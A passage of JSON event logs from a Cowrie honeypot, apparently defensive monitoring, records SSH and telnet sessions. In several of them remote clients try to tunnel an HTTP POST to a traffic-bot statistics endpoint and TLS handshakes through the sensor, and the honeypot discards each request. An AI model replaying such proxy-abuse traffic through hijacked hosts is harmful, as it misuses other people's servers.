\\xcd+j#\\x9a\\xea$\\x13.\\xbdT\\x88\\xae\\xce\\xfe\\xca\\xf0\\x07\\xaeH\\x10\\xc2\\xca\\xa9\\xb3i\\xf6\\xcb<\\x9c\\x0bD\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:10.641695Z","src_ip":"23.148.145.132","session":"0dc7c2e6d866","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:10.698593Z","src_ip":"113.164.152.20","session":"4b9fc604f55d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1192\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_4_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=IVU4VGNnIV9OV0t6YzNMIw%3D%3DSfoDH9WzOdT%2BlcQzLRFmKgcmOkXibAi3ALcpZcWtZw4GDOQZxPC736F0zYyd25YX7g%2FSGw%2BCFYNW3WtNlbQnEZQwphEKz6EIPwVKYXlKwf%2BYie5A8S9oaoCro6BfUA39ddyNWguNrbyjS%2FQ%2F4mtaxTKbpFBr2RLHINra4LaG9db1TRGRL4Mt6xTrlkaQumMkDVQuaKqdI3ukhiYIGqaZVR0pqr%2F8wiu2d5mew3PldroklZWIRViterh3ku3xACyW7PRctLD%2FKJtq%2BdqA6qyE5SF6CdUH%2BxjHh6c6vYz1WkXzp5oj81Tf14OhyKAQtFK42Q8B66LxQxiJWnHu7OTvV7KZJKkPHX5W0tYEljZ%2F%2F4KoqTHA9nSl79T76Q%2F9aSsNRlbsMCebottZEpa8sBQurkEcKPd38CtOdsXbbAHwlAzG0q%2BjAVPe0BFjMlmNzIm%2BaAxtvR%2FkJaaQPU6g%2FEOO0pT6YIpi0%2BD7hJ29FAmoRfLm3rJO5LI7bd6Cw7EPMoERmnBCJJM3u27h4QRDHjtobbuZ65yS4GNtz%2B69f2jSYsN%2Ffp9LKdOWE3mySKUvwqfkR09Ge38TG8ivJdPOgfDvMFkAl1XGDC4BxL1AQO9eGm47Y7rSMGwaypQ90QTxRoUTaQJ9fYv5Ag113Le%2FoHnF9%2FT%2B0Z2XdRT5SKee9%2Fcub%2BUJIjcjntyXf5jmTcyuan5cp15w7vHUWjzOVVcSDF0mwR8u1KDf47hS%2B%2Fp4Mzy7u5A%2Fb9lDDkWjUmvIqUNuvl6C1lBNSsTdfavxXPF8ekM6gRYRHC%2BbiEbZE3VVzGZmQfjTabgKsM7q9KBmPjLZO3xBPv%2FDDZj7uhG7h%2FYP0fZuEQU%2FEkwrPLfloXTHPVJzVn7veX1nzTrQfftu3lM7Qlc%2BVle8IIStz4Ter8mjYILYHxmvIbcbw0HRAFw3Ww1axa3Jjz4BMYrUfrGYlcvTT%2FjQaTKmbo7ch6TSvOPWVGggV%2B66w%2BTao0rWM6LoMY5aYTpF64mFn4gv0DiA6ABsW97r6KfWCLg5P47QppnhqrBWlVkv0s8veICdghf4BDT%2BUls15UkaroD5lQLfqHhxtCjx'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1192\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_4_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=IVU4VGNnIV9OV0t6YzNMIw%3D%3DSfoDH9WzOdT%2BlcQzLRFmKgcmOkXibAi3ALcpZcWtZw4GDOQZxPC736F0zYyd25YX7g%2FSGw%2BCFYNW3WtNlbQnEZQwphEKz6EIPwVKYXlKwf%2BYie5A8S9oaoCro6BfUA39ddyNWguNrbyjS%2FQ%2F4mtaxTKbpFBr2RLHINra4LaG9db1TRGRL4Mt6xTrlkaQumMkDVQuaKqdI3ukhiYIGqaZVR0pqr%2F8wiu2d5mew3PldroklZWIRViterh3ku3xACyW7PRctLD%2FKJtq%2BdqA6qyE5SF6CdUH%2BxjHh6c6vYz1WkXzp5oj81Tf14OhyKAQtFK42Q8B66LxQxiJWnHu7OTvV7KZJKkPHX5W0tYEljZ%2F%2F4KoqTHA9nSl79T76Q%2F9aSsNRlbsMCebottZEpa8sBQurkEcKPd38CtOdsXbbAHwlAzG0q%2BjAVPe0BFjMlmNzIm%2BaAxtvR%2FkJaaQPU6g%2FEOO0pT6YIpi0%2BD7hJ29FAmoRfLm3rJO5LI7bd6Cw7EPMoERmnBCJJM3u27h4QRDHjtobbuZ65yS4GNtz%2B69f2jSYsN%2Ffp9LKdOWE3mySKUvwqfkR09Ge38TG8ivJdPOgfDvMFkAl1XGDC4BxL1AQO9eGm47Y7rSMGwaypQ90QTxRoUTaQJ9fYv5Ag113Le%2FoHnF9%2FT%2B0Z2XdRT5SKee9%2Fcub%2BUJIjcjntyXf5jmTcyuan5cp15w7vHUWjzOVVcSDF0mwR8u1KDf47hS%2B%2Fp4Mzy7u5A%2Fb9lDDkWjUmvIqUNuvl6C1lBNSsTdfavxXPF8ekM6gRYRHC%2BbiEbZE3VVzGZmQfjTabgKsM7q9KBmPjLZO3xBPv%2FDDZj7uhG7h%2FYP0fZuEQU%2FEkwrPLfloXTHPVJzVn7veX1nzTrQfftu3lM7Qlc%2BVle8IIStz4Ter8mjYILYHxmvIbcbw0HRAFw3Ww1axa3Jjz4BMYrUfrGYlcvTT%2FjQaTKmbo7ch6TSvOPWVGggV%2B66w%2BTao0rWM6LoMY5aYTpF64mFn4gv0DiA6ABsW97r6KfWCLg5P47QppnhqrBWlVkv0s8veICdghf4BDT%2BUls15UkaroD5lQLfqHhxtCjx'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:10.701539Z","src_ip":"113.164.152.20","session":"4b9fc604f55d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:10.705192Z","src_ip":"113.164.152.20","session":"4b9fc604f55d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x96\\xf0\\xbds\\xc3\\x9b\\xfa\\x9eG\\xd4o\\x17\\xf2\\x00j\\xd3 \\xb0\\xc2C\\x1dC\\xcf&92\\x15\\xc5\\x12c0\\xa0 \\xb9\\x87\\xa04\\xd5\\xeaE\\xfd1R\\x91\\x10\\x1b/\\x91A\\x9c9\\x1cR\\x0e/\\xf2\\xbb\\xc2\\xc4\\xbb\\x05C\\x8e\\xc0\\xb2\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc20,\\xe1\\xb0\\x01\\xa8?\\xb1\\x96\\xab!\\xe6\\x95\\xce\\x943\\x1b\\xb6\\xb1\\xd9\\xae\\xce\\x9a|\\x88\\xc1H\\xda\\xc0Ba\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x96\\xf0\\xbds\\xc3\\x9b\\xfa\\x9eG\\xd4o\\x17\\xf2\\x00j\\xd3 \\xb0\\xc2C\\x1dC\\xcf&92\\x15\\xc5\\x12c0\\xa0 \\xb9\\x87\\xa04\\xd5\\xeaE\\xfd1R\\x91\\x10\\x1b/\\x91A\\x9c9\\x1cR\\x0e/\\xf2\\xbb\\xc2\\xc4\\xbb\\x05C\\x8e\\xc0\\xb2\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc20,\\xe1\\xb0\\x01\\xa8?\\xb1\\x96\\xab!\\xe6\\x95\\xce\\x943\\x1b\\xb6\\xb1\\xd9\\xae\\xce\\x9a|\\x88\\xc1H\\xda\\xc0Ba\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:10.707542Z","src_ip":"113.164.152.20","session":"4b9fc604f55d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:10.978463Z","session":"4b9fc604f55d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:11.245528Z","src_ip":"113.164.152.20","session":"4b9fc604f55d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xaf\\xd4\\xcf\\x8dRi\\xad\\x18\\x90\\xe8\\xc5\\xd9\\xec\\x1ai\\x9dd\\xb5\\xe5\\xcfNU\\xff\\xd5g@n\\tRrL\\xf4 \\\\\\xc7V\\xbf\\xd4\\xe1\\xb5@\\xac\\\\\\x11Y\\xfc0U-F=\\xa5\\x87\\xc9\\xd9\\x8d\\xad#!\\xaf\\\\\\xee\\xc8a\\x80\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 ..\\x94\\x90>\\xb6\\x95B\\xb06\\x02\\xcd\\xf0\\xd3\\xfb\\x1f\\xcei\\xd1\\x9b\\x06IA\\xc3\\xc6?\\xb7\\x11\\t\\x8d\\x95.\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xaf\\xd4\\xcf\\x8dRi\\xad\\x18\\x90\\xe8\\xc5\\xd9\\xec\\x1ai\\x9dd\\xb5\\xe5\\xcfNU\\xff\\xd5g@n\\tRrL\\xf4 \\\\\\xc7V\\xbf\\xd4\\xe1\\xb5@\\xac\\\\\\x11Y\\xfc0U-F=\\xa5\\x87\\xc9\\xd9\\x8d\\xad#!\\xaf\\\\\\xee\\xc8a\\x80\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 ..\\x94\\x90>\\xb6\\x95B\\xb06\\x02\\xcd\\xf0\\xd3\\xfb\\x1f\\xcei\\xd1\\x9b\\x06IA\\xc3\\xc6?\\xb7\\x11\\t\\x8d\\x95.\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:11.247972Z","src_ip":"113.164.152.20","session":"4b9fc604f55d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:11.641924Z","src_ip":"113.164.152.20","session":"4b9fc604f55d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.253817081451416,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:13.339601Z","src_ip":"128.199.8.54","session":"ec1e563fa3d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"31.1","message":"Connection lost after 31.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:21.382102Z","src_ip":"23.148.145.132","session":"0dc7c2e6d866","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.608025312423706,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:26.679037Z","src_ip":"128.199.8.54","session":"afc705199023","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.52","src_port":63196,"dst_ip":"10.17.0.5","dst_port":22,"session":"aafd1b968cac","protocol":"ssh","message":"New connection: 23.175.50.52:63196 (10.17.0.5:22) [session: aafd1b968cac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:31.044954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:31.049524Z","src_ip":"23.175.50.52","session":"aafd1b968cac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm